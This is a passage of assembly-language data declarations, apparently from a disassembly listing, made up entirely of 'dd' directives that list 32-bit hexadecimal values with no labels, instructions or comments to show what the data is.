		dd 87A31E00h, 0EB7B47B8h, 17BFEADDh, 0C04072DCh, 8A4699B8h
		dd 0D5C5F7A3h, 0B924BD2Ch, 9FE779ECh, 71884C17h, 0F1846055h
		dd 49390217h, 116496A9h, 32A1E8D0h, 38F98AFEh, 18409A5Bh
		dd 0DAFC9401h, 33E4538h, 0CD381CC2h, 1FEA4Eh, 0A285E86Dh
		dd 6E367A13h, 0FF6FC407h, 0DE1F947Ah, 0FD50027Bh, 409B8690h
		dd 4A751ACh, 34C41558h,	96D8A4CDh, 2A9F0D04h, 90C0CB27h
		dd 4EB769C3h, 132CC754h, 0A8D46678h, 9B1601CCh,	5AD8D67Ah
		dd 8049B845h, 58DCD354h, 0F602B811h, 179E7ADAh,	0FD980DA7h
		dd 3C790014h, 52DB1085h, 81107ACAh, 0A012B2CBh,	4F44B4DAh
		dd 3E78BE4Ch, 158601F9h, 4BF3B1C0h, 0D338007Bh,	4DB855E6h
		dd 0DC505181h, 27D93BC8h, 8C68D032h, 0B6503C4Dh, 0A0F0CBB9h
		dd 32135CB8h, 0ECE4F667h, 6AD0B889h, 889831AAh,	6D00D929h
		dd 0B445E91Ch, 0C7D2098Ah, 6C2FCC99h, 0EB6423CFh, 8FE8D0C3h
		dd 7481247h, 420D13CCh,	6BC0589Ah, 8F88D2CCh, 92F55D75h
		dd 0B841F5F0h, 0B68C4ED3h, 4B86F082h, 0FD81CA2Ch, 40EAFA7Ah
		dd 0B7F79998h, 7DC0F805h, 0D5C09EFBh, 0BB5BC5h,	0E6D514B8h
		dd 0C64C8631h, 4103B17Dh, 0ADFE3003h, 5A9FB93Dh, 0E67440FEh
		dd 79A4B158h, 0F56518D0h, 0E478406Ah, 7D26E68Dh, 0F21B0D01h
		dd 78F64B31h, 30007B7Ah, 0B7925610h, 9FA62DB8h,	44507068h
		dd 67536603h, 0AC340F1Dh, 8D09484h, 3F90EF08h, 6E260A5Ah
		dd 0A7465E58h, 98C32D07h, 0A2ED008Bh, 20A07A37h, 36028450h
		dd 0E3A69DCBh, 70ECF94Ah, 865576h, 0D835D25Bh, 3CC4BB6h
		dd 0A578C539h, 0FCA0600Ch, 9CFF4FB9h, 0A980A754h, 84EB1295h
		dd 0DFF8F4FAh, 98C9C49h, 5E87CC1Eh, 141FD920h, 46F72038h
		dd 20D42F88h, 95827D3Ch, 0F987074Bh, 1531B721h,	0BD10856Eh
		dd 0C5F1AC68h, 0E868F8C8h, 7E059C38h, 98F49FAAh, 30CC0060h
		dd 13C746C9h, 0B81DD956h, 8B40C559h, 733326F0h,	0E7191348h
		dd 3784F4F6h, 0B87DCB2Eh, 0E67F103Ah, 8744814Bh, 0D6240056h
		dd 7931C3C1h, 3DB91FC7h, 0FD2FD4FCh, 3827B22Fh,	8B62B4h
		dd 10038E35h, 810A1E1Ch, 6E5C9412h, 68357C30h, 4F6600C4h
		dd 7B01F74Dh, 5E4A2594h, 0BDB0ACE6h, 8E24F070h,	6D2598B3h
		dd 0D219C048h, 0DF3932B0h, 0F67A0427h, 501BA39Fh, 0A98DAC90h
		dd 0A4703E02h, 5EAAD1DAh, 0CEC6826Ch, 90F1E903h, 6B186F79h
		dd 2FC12D3Ch, 11ECA1B0h, 0D048DB50h, 216B028Ch,	5EB26832h
		dd 2B6D00E9h, 41DF609Ah, 50079DFFh, 46DF847h, 0AA071C1h
		dd 0C2DC7B4h, 727BFE05h, 3A0816E8h, 6F2308h, 8A26B597h
		dd 1605A56Ch, 47D2CBA3h, 461EFCF9h, 0B35BD71Eh,	3025A294h
		dd 7D169749h, 0A50B09CEh, 4ECD1C7h, 5F839Eh, 0D30722AAh
		dd 0FD420029h, 10C2BC87h, 48E5F850h, 952C5738h,	0E52D5B8Dh
		dd 0B5288184h, 0DD3E5495h, 230DF8E5h, 81F60300h, 69B2132Dh
		dd 70B960AFh, 31100520h, 0F31D5CB4h, 0D8D648E0h, 2EDF5A80h
		dd 4CB0BC21h, 26D118B1h, 98003618h, 91E1458h, 0BDCD07Dh
		dd 4037EECh, 900C10A5h,	0F268FD1Ch, 0BCB3FC9Ah,	961378h
		dd 7178183Fh, 0E00C2794h, 0FCA5F84Ah, 7004AF20h, 0A2770986h
		dd 2CC2A322h, 0A4703C7Bh, 3BDE0029h, 237D9367h,	6A09300Bh
		dd 0E1ABCBh, 0ED20DF18h, 24589AFEh, 966CAEA3h, 9214B4F7h
		dd 182E7D00h, 0D888D585h, 69120331h, 23DBFE1Fh,	8CA071F2h
		dd 96219E41h, 59F094B8h, 4EBCB2D5h, 25C8C8CBh, 0A2B37FC0h
		dd 929B0509h, 8F1BF90Eh, 0C0F5C8DCh, 4BBA8FFh, 0F04497h
		dd 754537A1h, 7CC5B605h, 3CAD5C26h, 5A44C82Ch, 1C346BBEh
		dd 244FC722h, 8097CA2Dh, 4C22467Eh, 72273B3Dh, 0E0477E02h
		dd 0AFBCC2F1h, 8AD2F054h, 0C0C8C848h, 0A21CEAA0h, 93CF9104h
		dd 0E4815657h, 2A61D4C6h, 95D6C070h, 15453420h,	0B700BBFDh
		dd 0D419970Ch, 183B2EBh, 77D55C6Bh, 20578291h, 90F4B09Ch
		dd 0E0DF5D01h, 0ACC2B7C7h, 1BA2C823h, 0E40DA230h, 1FBB7C81h
		dd 937B29C7h, 1F4042B3h, 386D08D4h, 35E61BE0h, 0D60D00C8h
		dd 9E7B6EFAh, 0A49C8E6Fh, 0D040B393h, 8BEBB5A3h, 709490F2h
		dd 24E609B0h, 442B6BDCh, 0C9E4D045h, 9E4CB560h,	0A102D973h
		dd 0BED8E413h, 8B78FCB0h, 54D0F3F2h, 93D1E76h, 50B2A528h
		dd 0A7DB1088h, 7F930E01h, 4CE01203h, 20E8908Eh,	3E29EF53h
		dd 1AD1B8C1h, 0E0A04918h, 1D1204E0h, 305F52A0h,	0E9CE59C0h
		dd 3BCC88h, 0D61EC0DFh,	0B1FD8903h, 860474B1h, 18A0AB2Bh
		dd 46872D8Dh, 0A2918497h, 0A1E5E880h, 0C802863Dh, 0E1A8AF6Dh
		dd 70D4FBB2h, 2D164530h, 709B08F2h, 1A14580h, 0E0AAC6BCh
		dd 4138045Dh, 0EA94A004h, 0F523442Fh, 46803007h, 0E9E49FA7h
		dd 6DBC48FCh, 73055543h, 0EC4F2380h, 84A63D70h,	7CE6CC9Ah
		dd 0CB0802BFh, 0E8F16E31h, 9118A771h, 0D35BC401h, 6C8599B6h
		dd 5E70B7DFh, 17AAC724h, 4BC12B5h, 2BF4B04h, 0CB072D34h
		dd 3F181090h, 0D52416B4h, 6CFD2021h, 8041422h, 212172Bh
		dd 0F81F99ADh, 0F00AE814h, 8086589Fh, 9A315700h, 0C6468969h
		dd 77BCD700h, 9D122CE0h, 0A6D040Ch, 0AF6CCF23h,	0A4DB3417h
		dd 68A0FA8Fh, 0EA8053F5h, 7659FB13h, 6C88D0CEh,	379EBBC0h
		dd 9F090615h, 68E7E9C4h, 0F49EFC90h, 29200D6h, 0BD2D58CAh
		dd 0DA5EEF50h, 0EED06497h, 1EBD64Dh, 7E55489Dh,	501ED37Fh
		dd 0F1148EA8h, 0E3C03725h, 0CB628784h, 0A5E480C9h, 2CAA5B31h
		dd 74A0419Eh, 0FB00CB46h, 801B543Ch, 7F095E22h,	277BBC0Bh
		dd 0F67207F8h, 58305B58h
		dd 5A00461Ah, 6693BF78h, 9D599709h, 0CA11A897h,	3937C480h
		dd 4203323Ah, 2ED4E02Ch, 84A0131Dh, 23882F53h, 0A1E20022h
		dd 916BAF6Fh, 0F18D9400h, 2FAEAC80h, 96FF0523h,	0D233B6F8h
		dd 9864A6ECh, 0A20092ECh, 4A1AFF9Eh, 0FB4C785h,	0EB3338FBh
		dd 0CB0C34D2h, 0C058885Ch, 61E173EFh, 78C77900h, 8115C39Fh
		dd 1FC943Fh, 7E37083Dh,	128380Ah, 0E5E27860h, 802FA404h
		dd 0FAAC3614h, 0BC44CCB8h, 20335A39h, 0F580A688h, 53898A16h
		dd 23B1D4B6h, 0F06221A8h, 6601ED2Eh, 29F3C79h, 6081274Ch
		dd 40DE399h, 0C8C12E48h, 0B47C7B3Fh, 0A8B3B867h, 0A8E7AD04h
		dd 350B84BCh, 0B4409781h, 0F892E4F7h, 9164979Dh, 54B689D0h
		dd 6C217630h, 96118055h, 2B870A9Dh, 0BB015171h,	4F35C124h
		dd 6BC0C71Fh, 0ED62002Eh, 7A81ECCAh, 0A0B8D792h, 0B57CE71Fh
		dd 467404A6h, 50F5271Ah, 0CD9B40D0h, 9F040301h,	2B9E42CEh
		dd 0E910062Bh, 2415A85Ah, 4A90877Dh, 0C723142Fh, 0CBAEA800h
		dd 0C5CAE77Ah, 0B576C970h, 88584EC4h, 9801CE21h, 0FB060E55h
		dd 0FDC2B6D8h, 0C002AA0Bh, 2B54E91Dh, 2B743E6Eh, 7900CC72h
		dd 0B25C7FE1h, 0D02A30A3h, 0DE4ED7B8h, 120DE640h, 5722CBFDh
		dd 1B7CC138h, 524611D1h, 39C027Fh, 0A0E84F79h, 0FC5FBECDh
		dd 0CE9E0001h, 6AFC92F6h, 4CC5976Bh, 0BE60A2C4h, 880059A7h
		dd 825CBFC0h, 0A8FBE687h, 243CBCh, 9E9C64CEh, 70A1BD09h
		dd 0D7B7EC0Eh, 1558A174h, 90B95CF9h, 0C0A818B6h, 21CCA72Dh
		dd 4DE27790h, 0FE96D5F0h, 2FC74FACh, 386C2394h,	0DC82E73Ch
		dd 0F67BFF0Dh, 0DB788455h, 9700B4E9h, 0A0B1763Dh, 33003BC4h
		dd 401BE71Ah, 1EEC66CFh, 0C02BD48Ah, 662C279h, 0C700EDF2h
		dd 3FE53090h, 26B6E05h,	80329270h, 0C839E44h, 91C3E376h
		dd 665A62E0h, 0FA363701h, 3892BE1Bh, 8796E000h,	49E42F01h
		dd 3FFCD86Eh, 39A54080h, 11F8ACD5h, 0D2BB7107h,	0C1A01821h
		dd 307FAF0Dh, 9F69458Ah, 7D3DF36Ah, 0E10C06C7h,	300852C2h
		dd 420AF5Dh, 0E43CF361h, 930E8060h, 0AEBBA301h,	2F9C076Fh
		dd 4C126CFFh, 18CE9EB0h, 6861909Fh, 0C5F6E25Eh,	10218B33h
		dd 0B5B60076h, 1D93A209h, 18A321ADh, 0F79213Ch,	34FD8500h
		dd 30658294h, 93CA3AECh, 0A4004940h, 81AA0FF7h,	0DBD97Eh
		dd 1069FF3Bh, 1E8ACDD7h, 4979ED65h, 0F36C7020h,	7AC72377h
		dd 6005E11h, 9EC3F343h,	0C01D53B9h, 13C381A9h, 0D88F78h
		dd 61393099h, 4ACF9396h, 0AE63CD0Eh, 21E85817h,	6B400A70h
		dd 1080B244h, 0BA5C04Fh, 0F896173Eh, 0DCF0A0A3h, 0ACB28B6h
		dd 306406D8h, 0E19CE874h, 0F947BE00h, 0C131181Ch, 792F1D43h
		dd 219618DEh, 0F9037F51h, 9B246F65h, 525812D2h,	6604004Bh
		dd 0EB80E2DBh, 6E18497Ch, 0C0183E1Bh, 4073396h,	8BB0970h
		dd 391483E4h, 0F7C500A4h, 0D6B45DDh, 622CB204h,	2100F709h
		dd 0C0DE2F25h, 1D32ED5Ch, 310BD28h, 0B9F77EA4h,	0A128E853h
		dd 0C00D9E34h, 25144555h, 60F0C6EAh, 3E6A70A0h,	6E060A88h
		dd 0A989F77h, 8A900E8Ah, 82849DE7h, 0BF86AD6Bh,	9424004Ch
		dd 5708A407h, 0BB620B6Dh, 0EE58A60Ch, 99382C60h, 0C24138B2h
		dd 2FBEC088h, 96058CA0h, 98A24AFAh, 606DD805h, 48DE1890h
		dd 0B31C6B10h, 78873BC8h, 8019DDF5h, 1F4B6A37h,	9388C424h
		dd 9DE542A3h, 20E8442Dh, 0E0034E5Bh, 0B3B99A98h, 78486440h
		dd 0DE1D606Ch, 0F46B2B4Bh, 303D11CCh, 4BEE7823h, 0F77B84h
		dd 0F81FBBB8h, 379E49E8h, 702E6124h, 4046D0A0h,	7AF36702h
		dd 333152C7h, 0F37EFF10h, 42E8F200h, 9044C071h,	891D5h
		dd 97B1FE89h, 397FDEC7h, 0F26D6500h, 0AD8E5360h, 0EC2C09E1h
		dd 9C201EF6h, 0CE4B4EB5h, 0E80C1490h, 50ED294Ah, 8F7F14EFh
		dd 4230E0C6h, 3A1BCA79h, 0F71C364h, 0B2DEEA41h,	0D1D44012h
		dd 0A819D2BEh, 30613285h, 7D44230h, 2AEB5BB2h, 0AD403CCAh
		dd 0ED4CF426h, 0BDC2E600h, 67CD7A7h, 0C36B7F0Ah, 6800512Fh
		dd 719D6652h, 0A43D56Ah, 464ABE17h, 85AF05D0h, 0FAA40493h
		dd 99F500AEh, 0A1CD467h, 0A7868E0Ah, 0D3DC21F0h, 566960ECh
		dd 0E83D00D2h, 4D03A2FFh, 0AB30936Bh, 0BB6D9861h, 915F287Eh
		dd 8FF7009Ch, 1B896352h, 301FB534h, 0E34F6771h,	4A69052Dh
		dd 3A5EA030h, 40C18043h, 20BB6A80h, 4E4C18E7h, 10710838h
		dd 2D9E012Fh, 34BC0BAEh, 0C499F764h, 63369601h,	43FC4420h
		dd 0C690009Dh, 9453A4D0h, 6BF40EA6h, 5BFBB15h, 9C4A09A4h
		dd 73D88410h, 44E68D8h,	49181DF9h, 20A132DEh, 3BF9465Ch
		dd 3AC25E00h, 9E200668h, 0E29A120Fh, 435C08FDh,	71F356C0h
		dd 2C6A4CC7h, 0F36D00E7h, 0B10797F6h, 2ADB6A31h, 24B41208h
		dd 0F548C218h, 8857B30h, 0A471B555h, 76400E64h,	17A28570h
		dd 0C2DA8209h, 0FE8057C4h, 0F732E25Bh, 857A24A8h, 29B56808h
		dd 400464A3h, 0D085736Dh, 38C600A5h, 0B5C47E36h, 0B6141556h
		dd 1FC0A413h, 1F80F782h, 0C0B1FD53h, 0B59A3077h, 0C1753041h
		dd 1C0BC403h, 0B8111719h, 10A768F9h, 4CF73AEh, 0CB0D4B4Ah
		dd 4EC18087h, 0D0329C67h, 69014223h, 82C774F3h,	9893718h
		dd 0B3DDEF00h, 0CFC34414h, 0B278429Ch, 0F28F300Bh, 0A1547C01h
		dd 0F0499F1Ah, 0B1C72360h, 784880E8h, 53CC8138h, 0BC540E4Ch
		dd 0AF435Bh, 3BFF534h, 98116749h, 106A0016h, 0CB6F2CCCh
		dd 0C024ED4Dh, 0E0A80033h, 416CD303h, 0CABB61C8h, 0F4104E1Ah
		dd 81589996h, 7AEB8DCh,	42D04D90h, 1C3061F8h, 6B4411DEh
		dd 803688FCh, 8A25F824h, 900F339Ch, 607767BDh, 0D4A19711h
		dd 3BFD0FDAh, 0AD204958h, 4B9D6EB7h, 0F8150500h, 0F77CFEEBh
		dd 5C660736h, 70927D7Eh, 0FF5B9C63h, 309BBB3Ah,	87412162h
		dd 95F01C7Dh, 3304C007h, 3B2DFEEh, 2A60FE60h, 392757Bh
		dd 7CA1FF55h, 1800D17Eh, 86B39E24h, 6EDB14h, 39EEF462h
		dd 36917C66h, 0C394961Bh, 0E8D7C360h, 0C712725h, 78803AFCh
		dd 21CFCA09h, 6F26C0B7h, 1D83C7B4h, 88AA2168h, 1E80F497h
		dd 49ABA62Fh, 43A7005Bh, 652648D0h, 0F7804120h,	7F1703B7h
		dd 0C4F4B3EEh, 0E9D96481h, 12409DF8h, 8388EC15h, 0BA9D7D81h
		dd 40AC338Bh, 2E7D8A3Ah, 0D0ECC8h, 0E92A654Fh, 0DF9E237Fh
		dd 74217C07h, 4D518D6Fh, 598364E0h, 19032646h, 3ADB83C8h
		dd 0DC33D71Dh, 98214F18h, 0C4030F2Eh, 0CD2F3B24h, 0E34CF660h
		dd 0FD00815Dh, 3CBEB1EBh, 1295E26h, 795B772Eh, 80575C7Bh
		dd 8DAA6340h, 3ADDFh, 0ED40F656h, 57068B8Eh, 3D102C15h
		dd 8F960084h, 9ABF80BDh, 0B9FB3360h, 21003009h,	52BD86F6h
		dd 18F527CBh, 8054E724h, 1C90253Fh, 8186FFF6h, 83DD9E84h
		dd 88709458h, 7D3D533Dh, 3EAB9880h, 60C0EE60h, 91D7416Dh
		dd 3B721FEFh, 8021116Fh, 2F425DFh, 541D48E0h, 4132DEE9h
		dd 0A2F7376Dh, 0B84805Ch, 15F4637Eh, 0C8867C8Ch, 14032983h
		dd 52317BCAh, 3319910h,	0C305D300h, 0B75EB40Dh,	77D50097h
		dd 0E013FF49h, 63003D42h, 787A7E5Ah, 630D3AD8h,	3C071097h
		dd 5FBDF111h, 0E1D16107h, 0D8A2B273h, 2D099040h, 0B0376B28h
		dd 3ED3490Ch, 224D19C2h, 0CB10645Fh, 0EC02C18Ah, 2E5705B7h
		dd 0BD91E8B0h, 6ABF8611h, 0B82E88h, 23C7BD89h, 0C73408Ch
		dd 0C9E7B30Dh, 241BFD50h, 70685A9Fh, 0D0F749A0h, 200F28h
		dd 3EE7C5DEh, 56AF8429h, 0A3DCDA00h, 5B82D799h,	0D4F61CBFh
		dd 901340FEh, 0E618C8D6h
		dd 667D3A14h, 0DBD54084h, 0C8B49B48h, 7D84C1EDh, 9A93DC94h
		dd 33654486h, 0B17D8D1Fh, 3F0AD180h, 0C5428DEh,	62D942EEh
		dd 0E524F860h, 40009526h, 3BD0E2F1h, 1870F859h,	1868038Bh
		dd 0EF0DBC6Dh, 587FCFBAh, 30520442h, 10790325h,	91DC1B21h
		dd 2DA5006Bh, 0EA16A403h, 0ACD52874h, 0C4045298h, 3D3031F2h
		dd 1FA036Bh, 733EB18Bh,	0AC12E924h, 82D12DCh, 23F00819h
		dd 85BD94C0h, 108246BFh, 0FD005754h, 4612BDABh,	98031DAAh
		dd 78795A1Ch, 0B9410042h, 3C200921h, 263B1E6Ch,	24FC04F5h
		dd 148C5777h, 1031C658h, 6E38392Dh, 3DDD80ECh, 4145140Ch
		dd 0E0F80029h, 0F69D2C18h, 3E731043h, 75DBB314h, 606626CCh
		dd 7958F50Ch, 700D0018h, 74EB767Eh, 70C165CFh, 37A61DB3h
		dd 28426830h, 79FC9E19h, 7BDA0A36h, 74E8FC29h, 1C034846h
		dd 37785AC8h, 2C41B8B8h, 0C08748C8h, 0DFEF0324h, 0A6833343h
		dd 0F9D8032Ch, 0BB55EF8Dh, 740EF084h, 79B6D4A8h, 5BF9E601h
		dd 0A4206C42h, 29163E0h, 2A3BB9C1h, 0DB626815h,	53913C15h
		dd 86EA5B80h, 0FF012AEDh, 414F9D77h, 0E4486E79h, 4EE312C1h
		dd 0FFF407C8h, 0B15640B8h, 0ED1249CEh, 8448928Dh, 327C088h
		dd 2B43DFF2h, 32F9780h,	1E1D81E4h, 0F244877Bh, 0B8803D60h
		dd 403FB37Ah, 1C90964Fh, 0F7A35502h, 958D9AFBh,	804F9134h
		dd 0C4780A19h, 125DF04Ch, 160FB24h, 0BEEC7308h,	79D89DF8h
		dd 6C4A55D2h, 3C4090DEh, 96D6F3h, 0ADE8CE52h, 7518E524h
		dd 4D0079EAh, 0EE4E5E6Ah, 0F629F68Bh, 7D6E34E3h, 0A3881CB8h
		dd 16031B07h, 49620B94h, 3233B20h, 0F0D1026Dh, 54F5E55Dh
		dd 0A861DD86h, 536C7B48h, 0B8644CF0h, 0A67E8C64h, 0A8948D16h
		dd 4CCFC404h, 0B021B807h, 3E19ED9Eh, 9C34FC41h,	0BC1B5DB2h
		dd 69377502h, 0BC6B3DDBh, 356B24F8h, 0E2E540C0h, 0E40BAE4h
		dd 0EB2CF558h, 5B8E18B8h, 0E90CA0D5h, 1FED8F8h,	6F04372Eh
		dd 41F87952h, 42630788h, 70C9863Ch, 3818944Dh, 69888094h
		dd 1E9AC6h, 0FEC53F1Fh,	0E6229FF8h, 0E8B4CB4Ch,	57434Fh
		dd 0AD7AB758h, 3D2BC45Fh, 6E30EF42h, 791E86B1h,	0AE164E02h
		dd 801A572Dh, 848B32A4h, 4F2B035h, 96BC780h, 0F254A24Eh
		dd 0D75C30C6h, 0FC3E6F28h, 0BCD0044Ch, 664331h,	15696A7Bh
		dd 91E3F241h, 0AB90B2B4h, 8261530h, 3B04711Ah, 0BC40BF64h
		dd 0A53425EAh, 0E2727AF8h, 0C0F38B26h, 482FD682h, 91B09706h
		dd 561D8054h, 0CA4DA5Eh, 0F2945FE7h, 0FA000171h, 16D3100Bh
		dd 0EA1BE93h, 245776F8h, 0BF85BEAh, 0C420ED63h,	79861F66h
		dd 98A0E891h, 83842659h, 0B98F7D7Fh, 6E0C9BBBh,	1E883C88h
		dd 52267F7Dh, 793031E3h, 3686371h, 0D40F8711h, 666FE26Dh
		dd 32CB1090h, 0F96F76DEh, 450489C1h, 602EC498h,	0B68BFCh
		dd 0D8275C11h, 513A28A8h, 8111397Eh, 84A8098h, 13C0897Ch
		dd 46712826h, 0BF22F4h,	0E625F0B6h, 96B57D5Ah, 6276FB1Ch
		dd 28382839h, 14029446h, 0EC712526h, 0B911C431h, 46B7FCEDh
		dd 0E6BC6301h, 2385317Fh, 0C33E2D9h, 68E8D458h,	0C90008Ch
		dd 62ABEE6h, 0BB0AF09Ch, 943B2002h, 0B6D34982h,	0B27050D0h
		dd 22A465Ch, 0BF82BD9Dh, 922D318Ah, 9C01FC21h, 0EAE45E88h
		dd 0CAA28826h, 381F430h, 4D742FB0h, 0E6C20FF7h,	4CD34460h
		dd 0C88BA62Eh, 644674h,	0FD760CA0h, 7B21E8h, 3A7ED84Dh
		dd 7063D0A9h, 588BBB12h, 0DC41BC12h, 36299061h,	30318442h
		dd 7F12BD92h, 383972BFh, 0AFC040E6h, 0FF3A0F63h, 7F6D6958h
		dd 0DF43789h, 0F9FE0161h, 7813FC41h, 9D007462h,	75053EB8h
		dd 80B16FBBh, 0B6185EF9h, 0AD82C700h, 5CEAE057h, 87CCA02Eh
		dd 77D73069h, 0E4EF3199h, 90396565h, 8C890CCCh,	1503221Eh
		dd 0A4E02350h, 0CA00032Ah, 0B5E80BDBh, 835FE7Dh, 0C485B31Fh
		dd 11241DC9h, 0FBE28065h, 3F1910D1h, 60F0215Ah,	0C0572181h
		dd 2B268D34h, 34C83411h, 763465Ch, 0E5F926DEh, 8977E44h
		dd 267C214Ch, 80B46A0Fh, 534C5F77h, 0F400A8ECh,	0ABA705E3h
		dd 303A6979h, 9331F194h, 64030AD9h, 7A20E726h, 44DFB206h
		dd 4032F708h, 61641086h, 2D9D020Fh, 8F4887BCh, 0B6172150h
		dd 0EE2705D6h, 1C408D3Ah, 4655FE4h, 0CC217B78h,	48C2F90h
		dd 0BF81BD90h, 7DC8EA2h, 43BD87F9h, 0DFF57821h,	0A42DF3C5h
		dd 8C2EACh, 9EEDBE65h, 0C7B2E522h, 44C8D350h, 8C36FD26h
		dd 0C1467Ch, 909E842Ah,	289B021Eh, 4828FE62h, 0F1C360EEh
		dd 88E2929Eh, 26183090h, 0CC712911h, 0BD838D88h, 8A1525F1h
		dd 91B08289h, 0A4C20342h, 73EA4980h, 7478F217h,	0D7630420h
		dd 4A0916Bh, 405ADF7Fh,	67B9B82h, 0B8490185h, 706BBD59h
		dd 282AA8D3h, 2FF783Bh,	38F58691h, 407ADFh, 0FDE881EDh
		dd 0C3D45325h, 0E5C66A00h, 1A4D2D28h, 3679C93Ch, 5EE494E5h
		dd 0F0A98663h, 42688F7Dh, 7E5A60F9h, 1E8AB25h, 0DAE5A12Ch
		dd 283BBFCEh, 4583103Ch, 2A95E603h, 78D8DF9Eh, 41E129A8h
		dd 0C0D31B7Ch, 77006EC7h, 2531FCF4h, 297C40h, 4686F082h
		dd 818590B0h, 0E8A4474Ch, 93008C2Ah, 17EA51B8h,	0AA9D7EDh
		dd 1FDCB926h, 0F46104F0h, 8DF841FDh, 94326753h,	0DA639709h
		dd 4CF51090h, 0D0629F30h, 0B7D860h, 0EB7854B8h,	75138A7Ch
		dd 0A19C23F9h, 5C0C5754h, 16F11F50h, 0FCD31100h, 8CED3B37h
		dd 55DF2A88h, 0CEB73EC0h, 0BBD62F87h, 759CE07Ah, 4600BCAFh
		dd 0E09FBDE5h, 0A504DB73h, 5755E290h, 78372F18h, 290A0381h
		dd 0E614554h, 28E4F692h, 31670F30h, 0FC4135E1h,	977D0062h
		dd 0B4BCD5E7h, 0BB8FD1Ah, 0C492624h, 149CA108h,	0A048D885h
		dd 18C64E8h, 0C8A7E26Eh, 3D920221h, 0D0BCE8h, 56ED1C9Ch
		dd 8DA9ADA8h, 0F0723B28h, 0DF1F771Eh, 0A85D3392h, 9D78DA86h
		dd 0D37407B8h, 0C0F1EC0Ah, 88267987h, 0B494912Ch, 3C60E74Eh
		dd 0DF1AC200h, 45191842h, 1679F059h, 62F21542h,	3D371C30h
		dd 0BD9D7355h, 0C2EB896Eh, 4279F460h, 39826894h, 0F8CAD3h
		dd 41EF7D09h, 0A10C4890h, 18F1CED4h, 0CA5997h, 39380F18h
		dd 8A00D815h, 7E6D92E0h, 0EBDBB5A8h, 0CBD7F896h, 67C00868h
		dd 74182C7Fh, 253B5246h, 1E09AD00h, 1571F64Fh, 0FA5C6270h
		dd 0EE4E8154h, 0AC6CB8DAh, 0F4DF9D00h, 5736E2FEh, 4676D094h
		dd 844F262Ah, 38448160h, 9D5201FCh, 0F5E41E26h,	0BD34E856h
		dd 628FFB06h, 9193F3h, 21F6B3EEh, 75529A79h, 0A5FE4278h
		dd 6045F25Ah, 8C8F57A2h, 95C03188h, 38194E57h, 1C2727F2h
		dd 7DC1D800h, 1C981D73h, 0E1313963h, 2FC14F89h,	35C2354h
		dd 2E7EB97h, 3EC75288h,	7C64BB54h, 5CC4E8A7h, 0C4A9E260h
		dd 9E044DE2h, 0EF8B7A88h, 0A6E328A0h, 46C898E4h, 9884C87h
		dd 46247126h, 0B8CC44D4h, 0E097FDFDh, 3E247B49h, 7F1F60F5h
		dd 88C04357h, 580945B9h, 2F5E9CE6h, 67234Ch, 8BEA12BEh
		dd 0EF113590h, 0A04C5AE3h, 4AA30079h, 0F095741Eh, 3B380391h
		dd 92822561h, 0CE00C5BCh, 0D49780F1h, 3CAA02B8h, 0E28A32DEh
		dd 26909F14h, 4B203DE0h, 8C469600h, 711C58EFh, 943A4C3Ch
		dd 80072923h, 0B374907Dh, 3FC034A2h, 414C7D89h,	6F8B7B18h
		dd 6856FF59h, 0D62820FBh, 1085A613h, 67AC3820h,	0C24F0939h
		dd 0A8C1CC95h, 4C34324Ah, 7663819Ch, 0E0E0FA59h, 791E0175h
		dd 1B4CEA72h, 0BC002C07h, 0BD0F8C5Dh, 0E0302C91h, 6929A58Eh
		dd 0C197A2AAh, 2E2A15DBh
		dd 6823E4h, 48D5D9B8h, 78EE9AC0h, 0E842AE26h, 0E4DF8642h
		dd 48D60074h, 23A95FE0h, 52094DE1h, 517D7B26h, 185D79F4h
		dd 0BBA303CCh, 0A4C2E25Bh, 0D3AAE5F0h, 0BF00D8B6h, 8EED3C10h
		dd 54B299Eh, 1871716Ch,	823F0230h, 4553B032h, 0FF554660h
		dd 4FD05499h, 79008657h, 7D271AA5h, 0F4E87753h,	8E3D00BAh
		dd 5BDFFC92h, 0E31741DBh, 0F021D12Ah, 730162A3h, 78402ACCh
		dd 0DA15E46h, 20B0B036h, 0D77A6B7Fh, 0AA971902h, 0CD38281Ch
		dd 0B992E02Ch, 0E700A822h, 516C8E54h, 9328B1h, 689E3FF6h
		dd 0B425E8B7h, 0A038BD7Bh, 0E0E1AE69h, 0EF44624Eh, 7732025Ch
		dd 93ADACC1h, 54CB0481h, 30575284h, 1C47A9E7h, 0C232CFFDh
		dd 0E2697AEFh, 0D32438A1h, 0A9630064h, 4D64B8A4h, 0F802895h
		dd 14712426h, 8258ECB4h, 0A22501EDh, 26AD1EB8h,	9CC2222h
		dd 2007AADFh, 9802F524h, 91D9FECCh, 2F8C922Ch, 5C2358h
		dd 0AF17001h, 914C6B3Ch, 55D7102Ch, 1A2E783Ch, 942D15E8h
		dd 8BBD9E80h, 0CCB192BFh, 809529CEh, 781E3F8Bh,	148B974h
		dd 0FCF357EEh, 0F9C7031h, 9483589Ch, 0D0EC2FDEh, 14F670Ch
		dd 93B6AF23h, 0C71A77B8h, 70419182h, 3CBC7163h,	0D06E4BE8h
		dd 0DF82F102h, 0B8C75991h, 44606BE4h, 3209F559h, 0C57F17BDh
		dd 60C3E448h, 0EBF428h,	0BC429001h, 71AAF717h, 0BBFE621Ah
		dd 7008DB29h, 3402D207h, 0E29DC750h, 5EB45C0Eh,	12076746h
		dd 64D36F4Ah, 8A48BCB8h, 37A5D893h, 75130078h, 2087683h
		dd 0F297A414h, 0DCA20074h, 0FF119BB1h, 9DDB3FC4h, 0EEC3A058h
		dd 0C17461E3h, 54062FBh, 653FB5D0h, 818093h, 0B6FB5BC1h
		dd 14BDF4BFh, 925E4E73h, 0C423F42Eh, 0FFC7F600h, 162CC45h
		dd 4FD87A34h, 8B742A33h, 0AB4DFE89h, 11801D18h,	0A36A84C0h
		dd 21DF4980h, 83AB16BFh, 0BCB045BEh, 8844CF37h,	0DBA6C1C4h
		dd 0F41FE875h, 8F4A6000h, 8AB263FCh, 0EE1A0589h, 0C9E198BFh
		dd 7A3DF888h, 8C4C172Eh, 5BF23B00h, 0F162576Ah,	7A022C69h
		dd 92A7EE7Dh, 0C3E44845h, 23F5A760h, 60F10E00h,	3790B981h
		dd 760F28BBh, 0A0112CDCh, 6E8D16EEh, 0C8F6000Ch, 0E57EB534h
		dd 25D600A8h, 0C315FF79h, 80FF96D0h, 3B7EA489h,	0EDE36Ch
		dd 7114959h, 0BB6E44EBh, 34F2DF0Fh, 0F4F7923Eh,	0F1863988h
		dd 0B6200CF2h, 0C0467450h, 625AF100h, 792FB82Bh, 45A7A0B1h
		dd 636EE454h, 657A8084h, 0C02A2CCCh, 43BF42D0h,	0CD16EC23h
